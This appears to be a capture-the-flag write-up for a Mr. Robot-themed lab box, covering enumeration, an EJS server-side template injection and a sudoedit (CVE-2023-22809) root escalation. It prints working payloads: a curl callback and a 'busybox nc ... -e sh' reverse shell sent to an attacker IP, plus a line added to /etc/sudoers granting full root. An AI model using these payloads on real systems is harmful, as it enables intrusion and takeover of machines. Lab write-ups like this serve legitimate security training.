Skip to main content

White Rose

Introduction

This challenge is based on the Mr. Robot episode "409 Conflict". Contains spoilers!

You'll need the following credentials: Olivia Cortez:olivi8

Initial Enumeration

export TARGET_IP=10.10.213.165
nmap -p- -Pn --min-rate 5000 $TARGET_IP
Not shown: 65304 closed tcp ports (reset), 229 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Trying to access 10.10.213.165, we are redirected to cyprusbank.thm.

/etc/hosts
10.10.213.165   cyprusbank.thm

Once you visit cyprusbank.thm, you see a maintenance message.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://cyprusbank.thm/ -H "Host: FUZZ.$TARGET_IP" -fw 1 57
admin      [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 535ms]

Adding admin.cyprusbank.thm to /etc/hosts:

/etc/hosts
10.10.213.165   cyprusbank.thm  admin.cyprusbank.thm

Navigating to admin.cyprusbank.thm, we find limited access. However, /messages reveals hints about users, and modifying the ?c= parameter exposes hidden messages, revealing Gayle Bev's password: p~]P@5!6;rs558:q.

A POST request to /settings (without the password parameter) results in a 500 Internal Server Error, exposing the following:

ReferenceError: /home/web/app/views/settings.ejs:14

Exploitation

This suggests Server-Side Template Injection (SSTI) in EJS. We leverage an exploit from: EJS SSTI RCE.

Testing for Code Execution

Set up a listener:

nc -lvnp 6666

Send a payload:

name=test&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl 10.2.17.44:6666');s

If successful, we receive:

connect to [10.2.17.44] from (UNKNOWN) [10.10.86.168] 48210
GET / HTTP/1.1
Host: 10.2.17.44:6666
User-Agent: curl/7.58.0
Accept: */*

Gaining a Reverse Shell

Intercept a POST request to /settings using Burp Suite and modify it:

POST /settings HTTP/1.1
Host: admin.cyprusbank.thm
Content-Length: 19
...

name=test&password=test&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("busybox nc 10.2.17.44 6666 -e sh");s

Now, we have shell access:

id # uid=1001(web) gid=1001(web) groups=1001(web)

Sanitize:

script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size # Check what you use normally
stty rows <ROWS> columns <COLUMNS>

Privilege Escalation

Checking sudo privileges:

sudo -l
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

We exploit CVE-2023-22809 (Sudoedit Bypass) to edit sudoers.

export EDITOR="vi -- /etc/sudoers"
sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

Inside vi, add:

web ALL=(root) NOPASSWD: ALL

Save and exit, then escalate:

sudo su
id # uid=0(root) gid=0(root) groups=0(root)

Explanation

The "--" in export EDITOR="vi -- /etc/sudoers" is crucial because of how sudoedit processes the EDITOR environment variable. Here's why it works:

  1. Sudoedit's Behavior:

    • sudoedit allows users to edit specific files as root but enforces security by only allowing the specified file(s) to be edited.
    • It retrieves the editor from EDITOR, VISUAL, or SUDO_EDITOR environment variables.
  2. Argument Splitting & -- Usage:

    • The function resolve_editor() in sudo parses the editor command and arguments.
    • Normally, it treats everything after the first word as part of the command itself.
    • However, using "--" forces sudoedit to interpret anything after it as file arguments rather than editor options.
  3. Exploitation:

    • By setting EDITOR="vi -- /etc/sudoers", we manipulate how sudoedit interprets its arguments.
    • Instead of just opening the intended file (/etc/nginx/sites-available/admin.cyprusbank.thm), it treats /etc/sudoers as a legitimate file for editing.
    • This allows us to modify /etc/sudoers, granting us full root privileges.

This bypass works because sudoedit expects a single valid editor binary but allows additional arguments due to --. It’s an unintended consequence of argument parsing within resolve_editor().